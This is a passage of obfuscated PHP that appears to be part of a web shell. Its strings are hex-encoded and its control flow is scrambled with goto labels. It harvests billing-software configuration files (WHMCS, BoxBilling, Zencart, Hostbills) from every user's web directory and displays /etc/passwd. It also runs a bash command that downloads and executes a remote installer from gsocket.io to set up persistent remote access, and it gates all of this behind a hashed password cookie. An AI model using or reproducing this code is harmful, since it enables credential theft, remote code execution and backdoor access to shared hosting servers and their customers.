"\57\150\x6f\x6d\x65\x2f{$IIIIIII1lI1I}\x2f\160\165\x62\154\151\x63\x5f\150\x74\x6d\154\57\x42\151\154\x6c\151\x6e\x67\x73\57\163\165\142\x6d\x69\x74\x74\151\143\x6b\x65\164\56\160\x68\x70" => "\x57\x48\115\x43\x53", "\57\150\x6f\x6d\145\x2f{$IIIIIII1lI1I}\x2f\160\165\142\154\x69\x63\x5f\x68\x74\155\154\x2f\142\x69\x6c\154\151\x6e\147\x73\x2f\x73\x75\x62\155\x69\164\164\x69\x63\x6b\x65\x74\x2e\x70\x68\160" => "\x57\110\x4d\103\x53", "\57\150\157\155\x65\57{$IIIIIII1lI1I}\x2f\160\165\x62\154\151\x63\137\x68\164\x6d\154\x2f\x42\x41\123\x4b\105\x54\57\163\x75\x62\x6d\x69\164\x74\151\143\153\x65\164\x2e\160\150\160" => "\127\x48\115\x43\x53", "\x2f\150\x6f\x6d\x65\57{$IIIIIII1lI1I}\x2f\160\165\142\x6c\x69\143\x5f\x68\x74\155\x6c\57\102\141\x73\x6b\145\164\57\163\165\142\x6d\151\164\x74\x69\143\153\145\164\x2e\160\150\x70" => "\127\110\x4d\103\x53", "\57\x68\x6f\x6d\x65\57{$IIIIIII1lI1I}\x2f\x70\165\142\154\x69\x63\137\150\164\x6d\x6c\x2f\x62\x61\x73\x6b\x65\x74\57\x73\x75\x62\155\151\164\x74\x69\x63\153\145\x74\x2e\160\150\x70" => "\127\x48\x4d\103\123", "\x2f\150\157\x6d\x65\57{$IIIIIII1lI1I}\57\160\165\142\154\x69\143\x5f\x68\164\x6d\x6c\57\x53\x45\103\x55\x52\x45\x2f\x73\x75\x62\x6d\x69\x74\164\151\143\x6b\x65\x74\x2e\160\x68\160" => "\x57\110\115\103\123", "\x2f\x68\157\x6d\145\57{$IIIIIII1lI1I}\x2f\160\165\142\154\x69\143\x5f\150\164\x6d\154\57\x53\x65\x63\x75\162\145\57\x73\165\x62\x6d\151\164\164\151\143\153\x65\x74\x2e\x70\150\160" => "\127\110\115\x43\123", "\x2f\x68\x6f\x6d\x65\57{$IIIIIII1lI1I}\x2f\x70\x75\x62\154\x69\x63\137\150\164\155\154\x2f\163\145\143\x75\162\145\57\x73\x75\142\x6d\x69\x74\164\x69\143\153\x65\x74\x2e\x70\150\x70" => "\127\x48\x4d\103\x53", "\57\x68\157\155\x65\57{$IIIIIII1lI1I}\x2f\x70\x75\142\x6c\151\143\137\150\x74\155\x6c\57\x53\x41\x4c\105\123\x2f\x73\x75\x62\155\151\164\x74\x69\143\153\145\x74\x2e\160\150\160" => "\x57\x48\115\x43\x53", "\57\150\157\155\x65\x2f{$IIIIIII1lI1I}\57\160\x75\142\x6c\151\x63\137\x68\x74\x6d\x6c\57\123\141\154\145\x73\57\163\165\x62\155\151\164\x74\151\143\153\145\164\x2e\160\150\x70" => "\x57\x48\115\x43\123", "\57\150\157\x6d\145\x2f{$IIIIIII1lI1I}\x2f\160\x75\142\x6c\151\x63\x5f\150\164\155\x6c\57\x73\x61\154\x65\x73\57\x73\x75\x62\155\x69\x74\x74\151\x63\x6b\x65\164\56\x70\x68\x70" => "\x57\110\x4d\x43\123", "\57\x68\157\x6d\145\57{$IIIIIII1lI1I}\x2f\160\x75\x62\x6c\151\x63\x5f\x68\x74\155\154\57\102\111\114\x4c\57\163\x75\142\x6d\x69\164\x74\151\x63\153\x65\x74\x2e\x70\150\160" => "\127\110\x4d\103\x53", "\x2f\150\157\x6d\x65\57{$IIIIIII1lI1I}\57\160\165\x62\x6c\x69\143\137\x68\164\155\154\57\x42\x69\154\x6c\x2f\163\165\142\155\151\x74\164\151\x63\153\x65\164\56\x70\x68\160" => "\x57\110\x4d\103\123", "\x2f\150\157\x6d\145\57{$IIIIIII1lI1I}\x2f\160\x75\x62\x6c\151\143\137\x68\164\x6d\x6c\x2f\x62\x69\154\154\57\163\x75\x62\x6d\x69\164\x74\151\143\153\x65\x74\x2e\160\x68\160" => "\127\110\115\x43\123", "\57\x68\x6f\x6d\x65\x2f{$IIIIIII1lI1I}\x2f\x70\x75\142\x6c\151\x63\x5f\x68\164\155\154\57\x50\125\122\103\110\101\x53\x45\57\x73\165\142\155\x69\x74\x74\151\x63\x6b\x65\164\x2e\160\150\160" => "\127\x48\115\x43\123", "\57\x68\157\155\145\57{$IIIIIII1lI1I}\x2f\160\x75\142\154\151\x63\137\150\x74\x6d\x6c\57\x50\x75\162\x63\x68\x61\x73\145\57\x73\x75\x62\155\151\164\164\151\x63\x6b\145\x74\x2e\160\150\160" => "\x57\110\x4d\x43\x53", "\57\150\x6f\155\145\57{$IIIIIII1lI1I}\x2f\160\x75\142\154\x69\143\x5f\150\x74\155\x6c\x2f\x70\x75\x72\x63\150\141\x73\x65\57\163\165\x62\x6d\x69\x74\x74\x69\x63\x6b\x65\164\56\160\150\160" => "\127\110\115\103\123", "\57\150\157\155\x65\x2f{$IIIIIII1lI1I}\57\x70\x75\142\x6c\x69\x63\x5f\x68\x74\155\154\x2f\x41\103\103\x4f\125\116\x54\x2f\x73\x75\x62\x6d\151\x74\164\151\143\x6b\x65\x74\x2e\x70\150\x70" => "\x57\x48\x4d\x43\123", "\57\150\157\x6d\x65\x2f{$IIIIIII1lI1I}\57\x70\x75\142\154\151\x63\137\150\x74\155\x6c\57\x41\x63\143\x6f\x75\x6e\x74\57\x73\165\142\x6d\151\x74\164\151\143\153\145\x74\56\160\150\160" => "\x57\110\115\x43\123", "\57\x68\x6f\155\x65\57{$IIIIIII1lI1I}\57\160\165\142\x6c\x69\143\137\150\164\x6d\154\57\141\143\143\157\x75\x6e\x74\x2f\x73\165\x62\x6d\151\164\x74\x69\x63\x6b\145\164\56\x70\x68\160" => "\127\x48\115\x43\123", "\57\150\157\x6d\x65\x2f{$IIIIIII1lI1I}\x2f\160\x75\x62\x6c\x69\143\137\x68\164\x6d\154\57\125\x53\105\122\57\x73\x75\x62\155\x69\164\164\x69\x63\153\x65\164\x2e\160\150\160" => "\x57\x48\115\103\x53", "\57\150\157\x6d\145\x2f{$IIIIIII1lI1I}\x2f\x70\165\142\x6c\x69\x63\x5f\x68\164\155\x6c\x2f\125\x73\145\162\x2f\x73\x75\142\155\151\164\164\151\x63\153\145\164\56\160\x68\x70" => "\127\110\115\x43\x53", "\57\x68\157\x6d\145\x2f{$IIIIIII1lI1I}\57\x70\165\x62\x6c\151\143\x5f\150\x74\155\154\57\x75\x73\145\162\x2f\163\x75\x62\x6d\151\x74\164\x69\143\153\145\x74\56\x70\x68\x70" => "\127\x48\115\103\123", "\x2f\x68\x6f\155\x65\57{$IIIIIII1lI1I}\x2f\160\x75\142\x6c\x69\143\x5f\150\x74\155\x6c\x2f\103\x4c\111\105\116\x54\123\57\x73\x75\142\155\151\x74\164\x69\143\153\145\164\56\160\150\160" => "\127\x48\x4d\103\x53", "\57\x68\x6f\155\x65\57{$IIIIIII1lI1I}\x2f\x70\x75\x62\154\x69\x63\x5f\x68\164\155\154\x2f\x43\x6c\x69\145\156\x74\x73\x2f\163\x75\x62\x6d\x69\164\164\151\x63\x6b\x65\x74\x2e\x70\x68\x70" => "\x57\110\x4d\103\x53", "\x2f\x68\157\x6d\x65\x2f{$IIIIIII1lI1I}\57\x70\165\142\x6c\151\143\137\x68\164\x6d\x6c\x2f\143\x6c\x69\x65\156\x74\163\57\163\x75\142\x6d\x69\x74\x74\x69\x63\153\145\164\x2e\x70\150\x70" => "\127\x48\115\103\123", "\57\150\157\155\145\57{$IIIIIII1lI1I}\x2f\x70\165\x62\x6c\x69\143\137\x68\164\x6d\154\57\x42\111\114\114\111\116\107\x53\57\x73\x75\142\x6d\151\164\164\x69\143\x6b\145\x74\56\x70\150\x70" => "\x57\x48\115\x43\x53", "\57\150\157\x6d\145\x2f{$IIIIIII1lI1I}\57\160\x75\142\154\x69\x63\137\x68\x74\x6d\154\x2f\102\x69\x6c\x6c\x69\x6e\147\163\57\163\165\x62\155\151\x74\x74\151\x63\153\145\164\x2e\160\x68\160" => "\x57\x48\x4d\103\123", "\x2f\150\x6f\x6d\x65\x2f{$IIIIIII1lI1I}\x2f\160\x75\x62\154\x69\x63\x5f\150\x74\x6d\154\x2f\142\x69\154\154\151\156\147\163\x2f\163\165\x62\155\151\x74\x74\151\143\153\145\x74\x2e\160\150\x70" => "\x57\110\x4d\103\x53", "\x2f\x68\x6f\x6d\x65\x2f{$IIIIIII1lI1I}\x2f\160\x75\142\x6c\x69\143\137\x68\x74\155\154\x2f\115\131\x2f\163\x75\142\x6d\x69\x74\x74\151\143\153\145\x74\56\160\x68\160" => "\127\110\x4d\x43\123", "\x2f\150\157\155\145\57{$IIIIIII1lI1I}\57\x70\x75\142\154\151\143\x5f\150\x74\x6d\x6c\x2f\115\171\57\x73\x75\142\x6d\151\164\x74\151\x63\153\145\x74\x2e\160\150\160" => "\127\110\x4d\x43\x53", "\57\150\157\x6d\145\57{$IIIIIII1lI1I}\x2f\x70\x75\142\154\x69\143\x5f\x68\164\155\154\x2f\155\x79\x2f\163\165\142\155\151\164\164\151\143\x6b\x65\x74\56\x70\x68\160" => "\127\110\115\103\x53", "\57\x68\x6f\155\145\x2f{$IIIIIII1lI1I}\x2f\160\x75\x62\154\151\143\x5f\x68\164\x6d\x6c\57\x73\x65\x63\165\x72\x65\57\167\150\x6d\57\163\x75\x62\155\x69\164\164\x69\x63\153\x65\x74\56\x70\150\x70" => "\127\110\115\103\x53", "\57\150\157\155\x65\57{$IIIIIII1lI1I}\x2f\160\x75\142\154\x69\x63\x5f\150\164\155\x6c\x2f\163\x65\143\165\162\145\x2f\167\150\155\x63\x73\57\x73\x75\x62\155\x69\164\x74\x69\x63\x6b\x65\x74\56\x70\150\x70" => "\127\110\115\103\x53", "\57\150\x6f\x6d\x65\x2f{$IIIIIII1lI1I}\x2f\x70\x75\142\x6c\x69\143\137\150\164\x6d\x6c\x2f\x70\x61\x6e\145\x6c\57\163\165\x62\x6d\151\164\x74\151\x63\153\x65\x74\x2e\x70\150\x70" => "\x57\x48\115\103\123", "\x2f\x68\157\x6d\145\x2f{$IIIIIII1lI1I}\x2f\160\165\x62\x6c\x69\143\137\x68\164\155\154\x2f\143\x6c\x69\145\x6e\x74\145\163\57\163\165\x62\155\x69\x74\164\151\143\x6b\145\x74\x2e\x70\150\160" => "\127\x48\115\x43\x53", "\x2f\x68\x6f\155\145\x2f{$IIIIIII1lI1I}\x2f\x70\x75\x62\x6c\151\143\x5f\x68\x74\155\x6c\x2f\x63\x6c\x69\145\156\164\x65\x2f\x73\165\142\x6d\x69\x74\x74\x69\x63\x6b\x65\164\x2e\160\150\x70" => "\127\110\x4d\103\123", "\57\150\x6f\x6d\x65\57{$IIIIIII1lI1I}\x2f\x70\x75\142\x6c\151\143\137\x68\164\x6d\154\57\163\x75\x70\x70\157\x72\x74\x2f\x6f\162\x64\145\x72\57\x73\x75\x62\155\x69\164\x74\x69\143\153\145\164\56\x70\x68\160" => "\x57\110\115\103\x53", "\57\x68\x6f\155\145\x2f{$IIIIIII1lI1I}\x2f\x70\165\x62\154\151\x63\x5f\x68\164\155\x6c\x2f\x62\x62\x2d\143\x6f\x6e\x66\151\147\x2e\x70\150\160" => "\102\157\x78\102\151\154\x6c\151\156\x67", "\x2f\x68\x6f\155\145\57{$IIIIIII1lI1I}\57\160\x75\x62\154\151\x63\x5f\x68\x74\x6d\154\57\142\x6f\170\x62\151\154\154\151\156\x67\x2f\142\142\55\x63\157\156\x66\151\x67\56\x70\150\x70" => "\x42\157\170\102\x69\x6c\154\151\156\147", "\x2f\150\157\x6d\145\x2f{$IIIIIII1lI1I}\57\160\165\x62\154\151\x63\x5f\150\x74\155\x6c\57\142\157\170\57\x62\142\55\x63\x6f\156\x66\x69\x67\56\x70\x68\160" => "\102\157\170\x42\x69\x6c\154\151\x6e\x67", "\x2f\150\x6f\155\x65\57{$IIIIIII1lI1I}\57\x70\x75\x62\x6c\x69\143\x5f\x68\164\155\154\57\x68\x6f\x73\x74\x2f\x62\x62\x2d\143\157\x6e\x66\151\147\x2e\160\x68\160" => "\x42\x6f\170\102\151\154\x6c\x69\x6e\147", "\x2f\x68\157\155\x65\x2f{$IIIIIII1lI1I}\x2f\x70\x75\x62\x6c\151\143\x5f\x68\x74\x6d\154\57\110\157\163\x74\57\142\142\x2d\x63\x6f\x6e\146\x69\x67\x2e\160\x68\x70" => "\102\157\170\x42\x69\154\x6c\151\156\x67", "\57\x68\x6f\155\145\x2f{$IIIIIII1lI1I}\x2f\160\165\142\154\151\143\x5f\x68\x74\x6d\x6c\57\163\165\160\160\x6f\x72\x74\x65\x73\x2f\142\142\x2d\143\157\x6e\146\151\147\56\160\150\160" => "\x42\x6f\170\x42\x69\x6c\x6c\x69\x6e\x67", "\57\x68\x6f\155\145\x2f{$IIIIIII1lI1I}\57\x70\165\x62\x6c\x69\x63\137\150\x74\155\154\x2f\x73\165\x70\160\157\x72\164\x2f\x62\142\x2d\143\157\x6e\x66\151\147\56\x70\150\x70" => "\x42\157\170\102\151\154\x6c\151\156\x67", "\x2f\150\157\155\145\x2f{$IIIIIII1lI1I}\57\160\x75\x62\x6c\x69\143\x5f\x68\164\x6d\154\x2f\x68\x6f\x73\x74\151\156\x67\57\x62\142\x2d\x63\157\156\x66\x69\x67\56\160\150\x70" => "\x42\x6f\170\102\x69\154\154\151\156\x67", "\57\150\x6f\155\145\x2f{$IIIIIII1lI1I}\57\160\165\x62\x6c\x69\143\137\150\x74\x6d\x6c\x2f\x63\x61\162\x74\x2f\142\x62\x2d\x63\x6f\156\146\151\147\56\x70\x68\x70" => "\102\x6f\170\x42\x69\154\154\151\156\x67", "\57\150\x6f\155\x65\57{$IIIIIII1lI1I}\57\160\165\x62\x6c\151\143\137\150\x74\x6d\154\57\157\162\x64\145\x72\57\x62\142\55\143\157\156\146\x69\x67\56\160\150\x70" => "\x42\x6f\170\102\151\x6c\154\x69\156\147", "\57\150\x6f\155\x65\x2f{$IIIIIII1lI1I}\x2f\x70\x75\142\x6c\151\x63\x5f\x68\x74\x6d\154\57\143\x6c\151\145\156\x74\57\142\142\x2d\x63\157\x6e\x66\x69\147\56\x70\x68\x70" => "\x42\x6f\170\102\x69\154\154\151\156\x67", "\x2f\x68\x6f\x6d\145\x2f{$IIIIIII1lI1I}\x2f\x70\165\x62\154\x69\143\137\150\x74\x6d\154\x2f\143\x6c\151\x65\156\164\x73\57\x62\x62\x2d\x63\157\x6e\x66\x69\147\x2e\160\x68\160" => "\x42\x6f\x78\x42\151\154\x6c\151\x6e\x67", "\57\x68\x6f\x6d\145\x2f{$IIIIIII1lI1I}\x2f\x70\x75\x62\154\151\143\137\150\x74\x6d\x6c\x2f\143\154\x69\145\156\x74\x65\x2f\142\x62\55\143\x6f\156\146\x69\147\x2e\x70\x68\160" => "\x42\x6f\170\x42\x69\154\x6c\151\156\x67", "\x2f\x68\157\155\x65\x2f{$IIIIIII1lI1I}\x2f\x70\x75\142\154\x69\x63\137\x68\164\155\x6c\57\143\154\x69\145\156\164\145\x73\57\142\142\x2d\x63\157\156\146\x69\147\x2e\160\x68\x70" => "\x42\x6f\x78\102\151\x6c\x6c\x69\156\x67", "\x2f\150\x6f\155\x65\57{$IIIIIII1lI1I}\x2f\160\x75\142\154\x69\143\x5f\150\164\155\154\x2f\x62\x69\154\x6c\151\x6e\147\x2f\x62\x62\55\x63\x6f\156\x66\151\147\56\x70\x68\160" => "\x42\157\170\x42\151\x6c\x6c\x69\x6e\x67", "\57\150\157\x6d\x65\57{$IIIIIII1lI1I}\57\x70\x75\142\x6c\x69\x63\137\x68\x74\x6d\x6c\57\x62\151\154\x6c\151\156\x67\x73\x2f\x62\x62\x2d\x63\x6f\x6e\146\151\147\56\x70\x68\x70" => "\102\157\x78\x42\151\x6c\154\x69\156\x67", "\x2f\x68\x6f\155\x65\x2f{$IIIIIII1lI1I}\57\160\165\x62\154\151\143\x5f\150\x74\155\154\57\x6d\x79\x2f\x62\142\x2d\143\157\156\146\151\147\56\x70\x68\x70" => "\x42\x6f\x78\102\151\x6c\x6c\x69\156\x67", "\x2f\150\157\x6d\x65\57{$IIIIIII1lI1I}\57\160\165\x62\154\x69\x63\137\150\x74\x6d\x6c\57\x73\145\x63\x75\162\145\57\142\142\55\143\x6f\156\x66\151\147\x2e\x70\150\x70" => "\x42\x6f\x78\102\x69\154\154\151\x6e\147", "\57\x68\157\x6d\x65\57{$IIIIIII1lI1I}\x2f\x70\165\142\x6c\151\x63\x5f\x68\164\x6d\x6c\57\163\165\160\160\x6f\162\164\57\157\x72\144\145\162\x2f\x62\142\x2d\143\x6f\156\146\151\x67\56\x70\x68\x70" => "\x42\x6f\x78\102\x69\154\x6c\x69\x6e\147", "\57\x68\x6f\155\145\x2f{$IIIIIII1lI1I}\57\x70\165\142\x6c\x69\143\x5f\150\x74\155\x6c\x2f\x69\x6e\143\x6c\165\144\145\x73\x2f\144\151\163\164\55\143\157\x6e\146\x69\x67\x75\x72\x65\56\160\150\160" => "\x5a\x65\x6e\x63\x61\162\x74", "\57\x68\157\155\x65\x2f{$IIIIIII1lI1I}\57\x70\165\x62\154\151\143\x5f\x68\x74\x6d\x6c\57\172\145\156\143\141\162\x74\57\151\156\143\x6c\165\x64\x65\x73\x2f\x64\x69\x73\x74\55\x63\x6f\x6e\x66\151\147\x75\162\x65\x2e\x70\150\160" => "\x5a\145\156\143\141\162\x74", "\57\x68\157\155\145\x2f{$IIIIIII1lI1I}\57\x70\165\x62\x6c\x69\143\x5f\x68\164\x6d\154\x2f\160\162\x6f\x64\165\x63\x74\163\x2f\x69\156\x63\x6c\x75\144\x65\x73\57\x64\x69\x73\164\x2d\143\157\x6e\146\151\147\x75\x72\x65\x2e\x70\150\160" => "\x5a\x65\x6e\143\141\162\164", "\x2f\x68\x6f\155\145\57{$IIIIIII1lI1I}\57\x70\165\142\x6c\x69\x63\137\x68\x74\x6d\154\57\x63\x61\162\164\x2f\151\156\143\154\x75\x64\145\163\x2f\x64\151\x73\164\55\143\x6f\x6e\x66\x69\147\165\162\145\56\x70\x68\x70" => "\132\x65\156\x63\141\x72\x74", "\57\x68\157\155\x65\x2f{$IIIIIII1lI1I}\57\160\165\142\154\x69\x63\x5f\150\x74\155\x6c\57\163\x68\x6f\x70\57\151\x6e\x63\154\165\x64\145\163\57\x64\151\163\164\x2d\x63\157\x6e\x66\x69\147\165\162\145\56\x70\150\x70" => "\132\x65\x6e\143\x61\162\x74", "\x2f\150\x6f\x6d\x65\x2f{$IIIIIII1lI1I}\57\x70\x75\x62\154\151\143\x5f\x68\164\155\x6c\x2f\151\156\x63\x6c\x75\x64\x65\163\57\151\163\157\64\62\61\67\56\160\x68\x70" => "\110\x6f\163\164\142\x69\x6c\154\x73", "\57\150\x6f\x6d\145\57{$IIIIIII1lI1I}\57\160\165\x62\x6c\151\143\137\150\164\x6d\x6c\x2f\x68\157\x73\x74\x62\151\x6c\154\163\x2f\151\x6e\x63\x6c\x75\144\x65\x73\x2f\151\163\x6f\x34\x32\61\67\x2e\160\x68\x70" => "\110\x6f\163\164\x62\151\x6c\154\163", "\x2f\150\157\x6d\145\x2f{$IIIIIII1lI1I}\x2f\160\165\142\x6c\151\143\137\x68\x74\155\154\57\x68\157\163\164\57\151\156\143\154\x75\144\x65\x73\57\x69\163\157\64\x32\61\x37\x2e\x70\150\160" => "\110\157\163\x74\142\x69\154\x6c\x73", "\57\150\157\155\x65\x2f{$IIIIIII1lI1I}\x2f\x70\165\142\x6c\151\x63\137\150\x74\x6d\154\57\110\x6f\163\164\57\x69\156\143\x6c\x75\144\x65\x73\x2f\151\x73\x6f\64\x32\x31\67\56\160\150\x70" => "\x48\157\x73\x74\142\151\154\x6c\x73", "\x2f\150\x6f\x6d\145\x2f{$IIIIIII1lI1I}\57\160\165\142\x6c\x69\143\x5f\150\164\155\154\x2f\163\165\x70\160\x6f\162\164\145\x73\x2f\x69\x6e\143\154\x75\x64\x65\x73\x2f\151\163\157\x34\x32\x31\x37\56\160\150\x70" => "\x48\x6f\x73\164\x62\151\154\x6c\x73", "\57\150\157\155\145\57{$IIIIIII1lI1I}\x2f\160\x75\x62\x6c\x69\x63\x5f\150\164\155\x6c\57\163\x75\160\160\x6f\x72\x74\x2f\x69\156\143\x6c\x75\144\x65\x73\57\x69\x73\157\x34\62\x31\x37\56\x70\x68\x70" => "\x48\157\163\164\142\151\154\154\x73", "\57\150\x6f\155\x65\57{$IIIIIII1lI1I}\x2f\x70\165\x62\154\x69\x63\x5f\x68\x74\x6d\154\x2f\150\157\163\x74\151\156\x67\57\x69\x6e\143\x6c\165\x64\x65\163\x2f\151\163\157\64\62\61\67\56\x70\150\x70" => "\x48\157\163\x74\x62\151\x6c\154\x73", "\x2f\x68\157\155\x65\x2f{$IIIIIII1lI1I}\57\x70\165\x62\x6c\151\143\x5f\x68\x74\155\154\x2f\143\141\162\x74\x2f\151\x6e\143\x6c\x75\x64\145\x73\57\x69\x73\x6f\x34\x32\x31\67\56\x70\150\x70" => "\x48\x6f\163\164\142\x69\154\154\x73", "\x2f\150\157\x6d\x65\57{$IIIIIII1lI1I}\x2f\160\x75\x62\x6c\x69\143\x5f\x68\164\155\154\x2f\x6f\x72\x64\x65\162\x2f\151\156\x63\154\x75\x64\145\163\x2f\151\163\157\64\62\61\x37\56\x70\150\160" => "\110\157\x73\164\x62\x69\154\154\x73", "\57\x68\157\x6d\x65\x2f{$IIIIIII1lI1I}\57\x70\x75\x62\154\151\143\x5f\x68\164\x6d\x6c\x2f\143\154\151\x65\x6e\x74\x2f\x69\156\143\x6c\165\144\145\163\x2f\151\x73\157\x34\62\x31\67\x2e\160\150\x70" => "\110\x6f\163\x74\x62\x69\x6c\x6c\163", "\x2f\x68\x6f\155\x65\x2f{$IIIIIII1lI1I}\x2f\160\165\x62\x6c\x69\143\x5f\x68\164\x6d\x6c\57\x63\x6c\x69\x65\x6e\x74\163\x2f\151\156\143\154\x75\x64\x65\163\x2f\151\163\157\64\62\x31\x37\56\160\150\x70" => "\110\x6f\163\164\142\x69\x6c\x6c\x73", "\57\150\x6f\x6d\145\x2f{$IIIIIII1lI1I}\57\x70\x75\142\154\x69\x63\x5f\150\164\155\154\57\143\154\151\x65\156\164\145\57\151\x6e\143\x6c\165\144\x65\x73\57\x69\163\x6f\x34\62\x31\67\x2e\160\x68\160" => "\110\157\x73\164\x62\x69\154\154\x73", "\57\150\x6f\x6d\145\57{$IIIIIII1lI1I}\x2f\x70\x75\142\154\x69\x63\x5f\x68\x74\x6d\154\x2f\x63\154\151\x65\x6e\164\x65\x73\57\151\x6e\143\x6c\x75\x64\x65\x73\57\151\163\x6f\x34\62\61\x37\x2e\x70\150\160" => "\x48\157\x73\164\x62\x69\x6c\x6c\163", "\57\x68\157\155\x65\57{$IIIIIII1lI1I}\57\x70\165\142\154\151\143\137\150\x74\155\x6c\x2f\x62\x69\154\x6c\151\156\x67\57\151\156\143\x6c\165\144\x65\163\x2f\151\163\157\64\62\61\67\56\160\x68\160" => "\x48\x6f\163\164\x62\151\x6c\x6c\163", "\57\150\157\x6d\x65\57{$IIIIIII1lI1I}\x2f\160\x75\142\x6c\x69\x63\137\x68\164\x6d\x6c\57\x62\151\x6c\x6c\151\x6e\147\163\57\x69\x6e\143\x6c\x75\144\145\163\x2f\151\163\157\64\x32\61\67\x2e\160\150\160" => "\x48\157\163\x74\x62\x69\154\154\x73", "\57\150\157\x6d\x65\x2f{$IIIIIII1lI1I}\x2f\160\165\142\x6c\151\143\137\150\x74\x6d\x6c\x2f\x6d\171\57\151\156\143\x6c\165\144\145\x73\x2f\151\163\157\64\62\61\x37\56\160\150\160" => "\110\x6f\163\164\x62\151\x6c\x6c\x73", "\x2f\150\157\155\145\x2f{$IIIIIII1lI1I}\57\160\x75\142\154\151\143\137\150\x74\155\154\x2f\x73\145\143\x75\162\145\x2f\x69\156\x63\154\165\x64\x65\x73\57\151\x73\157\x34\x32\61\x37\56\x70\150\160" => "\x48\157\x73\164\x62\151\x6c\154\x73", "\57\150\x6f\155\145\x2f{$IIIIIII1lI1I}\57\x70\165\142\154\x69\143\137\150\x74\x6d\x6c\57\x73\165\160\x70\157\162\164\x2f\x6f\162\x64\145\162\x2f\151\x6e\143\154\x75\144\x65\163\x2f\x69\x73\157\64\x32\61\x37\x2e\x70\x68\x70" => "\x48\x6f\163\x74\142\151\x6c\x6c\163"); foreach ($IIIIIII1lI11 as $config => $IIIIIII1llIl) { $IIIIIII1llI1 = file_get_contents($config); if ($IIIIIII1llI1 == '') { } else { $IIIIIII1lllI = fopen("\151\156\x64\x6f\163\145\x63\137\143\157\156\x66\151\x67\57{$IIIIIII1lI1I}\55{$IIIIIII1llIl}\56\164\170\x74", "\167"); fputs($IIIIIII1lllI, $IIIIIII1llI1); } } } } echo "\x3c\x70\40\143\x6c\x61\x73\163\75\47\164\x65\170\x74\x2d\x63\x65\x6e\164\145\x72\47\x3e\x53\x75\x63\x63\x65\163\163\x20\107\x65\164\40\x43\x6f\x6e\146\x69\x67\x21\x21\74\57\x70\76\12\x3c\141\x20\x68\162\x65\x66\x3d\x27\77\x64\x69\162\75{$dir}\x2f\151\156\x64\157\163\x65\143\x5f\x63\x6f\x6e\x66\x69\147\47\x20\143\154\141\163\x73\75\47\x62\x74\156\x20\x62\x74\156\55\x73\x75\143\x63\x65\163\163\40\142\164\156\x2d\142\154\157\x63\x6b\40\x6d\142\55\x34\x27\76\x43\154\x69\143\153\40\110\x65\162\x65\74\57\x61\76"; } else { echo "\x3c\146\x6f\162\155\40\155\x65\164\150\157\x64\75\47\x70\157\163\x74\x27\x3e\xa\74\x70\40\143\x6c\x61\x73\x73\x3d\x27\x74\145\x78\164\x2d\x64\x61\156\147\x65\x72\47\x3e\57\x65\x74\x63\57\160\141\x73\x73\167\x64\x20\x65\x72\x72\157\x72\x20\x3f\40\x20\x3c\141\40\150\162\x65\x66\x3d\47\x3f\x64\151\x72\75{$dir}\x26\141\x6b\x73\x69\x3d\160\x61\x73\163\x77\x62\x79\x70\x61\163\x73\47\76\102\171\160\x61\163\x73\40\110\x65\x72\x65\x3c\x2f\x61\76\74\x2f\160\x3e\12\74\164\x65\x78\164\141\162\145\x61\40\156\141\x6d\145\75\x27\160\x61\163\x73\167\x64\x27\40\143\154\x61\163\x73\75\x27\146\157\162\155\x2d\143\157\156\164\162\157\x6c\x27\40\x72\157\167\x73\x3d\47\x31\x33\47\76" . file_get_contents("\57\x65\164\x63\57\x70\141\163\163\x77\x64") . "\x3c\57\x74\x65\170\x74\x61\x72\145\x61\76\74\x62\162\57\76\xa\74\151\x6e\x70\x75\164\x20\164\171\x70\x65\x3d\47\163\165\x62\x6d\x69\x74\x27\40\x63\x6c\x61\x73\163\75\47\142\x74\x6e\x20\x62\164\156\55\x64\x61\x6e\x67\x65\162\40\142\164\x6e\55\142\x6c\157\143\153\47\x20\166\141\154\165\x65\75\47\107\x65\x74\x20\103\157\x6e\146\x69\x67\41\41\x27\76\xa\74\x2f\146\157\162\x6d\76"; } die; } goto hmrAm; gFIpc: function gsket($dir) { echo "\x3c\x64\x69\x76\40\x63\x6c\x61\163\163\x3d\x22\143\x61\162\144\40\x6d\x62\55\65\x22\76\12\74\144\x69\x76\40\143\x6c\x61\163\x73\x3d\x22\x63\141\162\x64\55\142\x6f\144\x79\40\x66\x6f\162\155\55\147\162\157\x75\x70\42\x3e"; echo "\74\160\x20\143\x6c\141\x73\x73\75\x22\x74\145\x78\164\55\167\141\162\156\151\156\147\40\146\157\156\x74\x2d\167\x65\x69\147\150\x74\55\142\157\x6c\144\x22\76\x49\156\x73\164\141\x6c\x6c\x69\x6e\147\40\x47\123\x3c\x2f\x70\x3e"; $gs_install = "\142\x61\x73\x68\x20\x2d\143\x20\x22\x24\50\167\147\x65\164\40\55\x2d\x6e\157\x2d\143\x68\145\x63\153\x2d\x63\x65\162\164\x69\x66\151\x63\141\x74\x65\40\x2d\x71\117\x2d\40\x67\163\157\143\x6b\x65\164\x2e\151\x6f\57\x78\51\42"; $gs_result = ex($gs_install); if ($gs_result == '') { echo "\74\160\x20\x63\x6c\141\x73\163\75\x22\x74\145\x78\164\55\155\x75\x74\x65\x64\42\x3e\74\160\162\145\76\x3c\x63\x6f\x64\145\x3e\133\x2b\135\40\x47\123\40\x69\x6e\163\x74\141\154\154\141\x74\151\x6f\x6e\x20\146\141\x69\x6c\145\x64\x21\x3c\x2f\143\157\x64\x65\76\x3c\x2f\160\162\x65\76\x3c\x2f\x70\x3e"; } else { echo "\74\x70\x20\143\154\141\x73\163\x3d\x22\164\145\170\x74\55\155\165\164\145\x64\x22\76\74\x70\x72\x65\76\x3c\x63\x6f\x64\145\76" . $gs_result . "\74\x2f\143\x6f\x64\145\x3e\74\x2f\160\x72\x65\76\x3c\x62\x72\x3e\74\57\160\x3e"; } echo "\x3c\x2f\144\151\x76\76\x3c\57\x64\151\166\76"; } goto IGcBk; EKsMQ: echo "\x3c\x73\x70\141\156\x20\143\x6c\141\163\x73\x3d\47\155\164\x2d\63\x27\x3e\x50\141\x74\x68\x20\72\x20"; goto r5bnQ; AcD5H: if (!empty($auth_pass5)) { if (isset($_POST[$keyxx]) and sha1(md5($_POST[$keyxx])) == $auth_pass5) { prototype(sha1(md5($_SERVER["\x48\124\x54\120\x5f\x48\117\x53\x54"])), $auth_pass5); } if (!isset($_COOKIE[sha1(md5($_SERVER["\x48\x54\x54\x50\137\110\x4f\x53\x54"]))]) || $_COOKIE[sha1(md5($_SERVER["\110\124\x54\120\137\x48\x4f\123\x54"]))] != $auth_pass5) { printLoginx(); } } goto IGMJB; KWEKS: if ($_GET["\x61\x6b\163\x69"] == "\150\141\160\x75\x73\x5f\x66\157\154\144\145\x72") { 